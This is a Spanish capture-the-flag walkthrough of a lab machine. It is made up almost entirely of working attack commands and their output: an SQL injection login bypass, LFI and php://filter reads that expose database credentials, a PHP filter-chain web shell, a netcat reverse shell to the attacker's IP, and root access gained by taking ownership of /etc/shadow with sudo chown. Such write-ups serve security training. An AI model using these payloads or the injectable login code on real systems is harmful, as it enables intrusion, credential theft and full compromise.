Esta máquina encadena vulnerabilidades web de impacto creciente. La inyección SQL evita la autenticación, el LFI confirma lectura de archivos y una cadena de filtros PHP transforma esa inclusión en ejecución de código sin necesitar una subida convencional. En local, el permiso sudo sobre chown permite cambiar la propiedad de archivos sensibles; la clave está en identificar qué recurso, una vez apropiado, abre el camino hacia root.
Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.210Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:43 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:0B:F0:A8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:44 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.38 secondsEnumeramos directorios y encontramos una aplicación library con paneles de login/admin:
❯ gobuster dir -u 'http://10.42.113.210' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html (Status: 200) [Size: 10701]
library (Status: 200) [Size: 1068]
server-status (Status: 403) [Size: 278]
...
❯ gobuster dir -u 'http://10.42.113.210/library' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html (Status: 200) [Size: 1068]
login (Status: 200) [Size: 2151]
admin (Status: 200) [Size: 2151]En /login realizamos un SQL Injection de bypass de autenticación con ' OR 1=1-- -, que nos redirige al panel de administración http://10.42.113.210/library/admin/index.php y revela el usuario r3dh4ck.
En las opciones de idioma, al cambiar el lenguaje la URL pasa a index.php?lang=es.php, lo que sugiere un LFI. Lo confirmamos leyendo /etc/passwd:
http://10.42.113.210/library/admin/index.php?lang=../../../../../../etc/passwdUsamos el wrapper php://filter para leer el código fuente en base64. El index.php del admin no revela nada útil, pero el del login sí contiene las credenciales de la base de datos:
http://10.42.113.210/library/admin/index.php?lang=php://filter/read=convert.base64-encode/resource=../login/index.php
❯ echo 'PD9waH...tbD4K' | base64 -d > login_index.php
❯ cat login_index.php
...
<?php
$errorMsg = "";
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
$conn = new mysqli('localhost', 'root', 'jX16QM2eOQ5$', 'library');
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$_SESSION['username'] = $_POST['username'];
header('Location: /library/admin/index.php');
exit;
} else {
$errorMsg = "Invalid credentials. Please try again.";
}
}
?>
...Para convertir el LFI en RCE, usamos un PHP filter chain generado con synacktiv/php_filter_chain_generator:
❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://tempInyectamos la cadena y pasamos el comando por el parámetro cmd, confirmando ejecución:
http://10.42.113.210/library/admin/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
<!DOCTYPE html>
<html lang="en" >
...
</html>
uid=33(www-data) gid=33(www-data) groups=33(www-data)Lanzamos una reverse shell:
&cmd=busybox nc 10.42.113.35 1234 -e /bin/bash
❯ ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.210:38666.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@loweb:/var/www/html/library/admin$Para escalar privilegios, en /opt encontramos un script con credenciales:
www-data@loweb:/opt$ cat monitor.sh
...
SECRET_USER="r3dh4ck"
SECRET_PASS="contraseñaconÑjeje" # Change this password for the future
...Nos logueamos como r3dh4ck:
www-data@loweb:/opt$ su r3dh4ck
su r3dh4ck
Password: contraseñaconÑjeje
r3dh4ck@loweb:/opt$Sin embargo, no tenemos permiso de lectura sobre la flag de usuario:
r3dh4ck@loweb:~$ ls -l
-r-------- 1 775 r3dh4ck 33 Mar 15 2025 user.txtRevisamos los permisos sudo:
r3dh4ck@loweb:~$ sudo -l
Matching Defaults entries for r3dh4ck on loweb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User r3dh4ck may run the following commands on loweb:
(ALL) NOPASSWD: /usr/bin/chownPodemos ejecutar chown como cualquier usuario sin contraseña. Primero nos apropiamos de la flag de usuario:
r3dh4ck@loweb:~$ sudo chown r3dh4ck user.txtPara escalar a root hay varias vías; la más directa es apropiarnos de /etc/shadow (Writable Critical Files Privesc) y reemplazar la contraseña de root por una vacía:
r3dh4ck@loweb:~$ sudo chown r3dh4ck /etc/shadowGeneramos un hash de contraseña vacía con openssl y lo colocamos:
❯ openssl passwd -1
Password:
Verifying - Password:
$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/
r3dh4ck@loweb:~$ cat /etc/shadow | grep root
root:$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/:20162:0:99999:7:::
r3dh4ck@loweb:~$ su root
Password:
root@loweb:/home/r3dh4ck#Obtenemos la última flag y fin.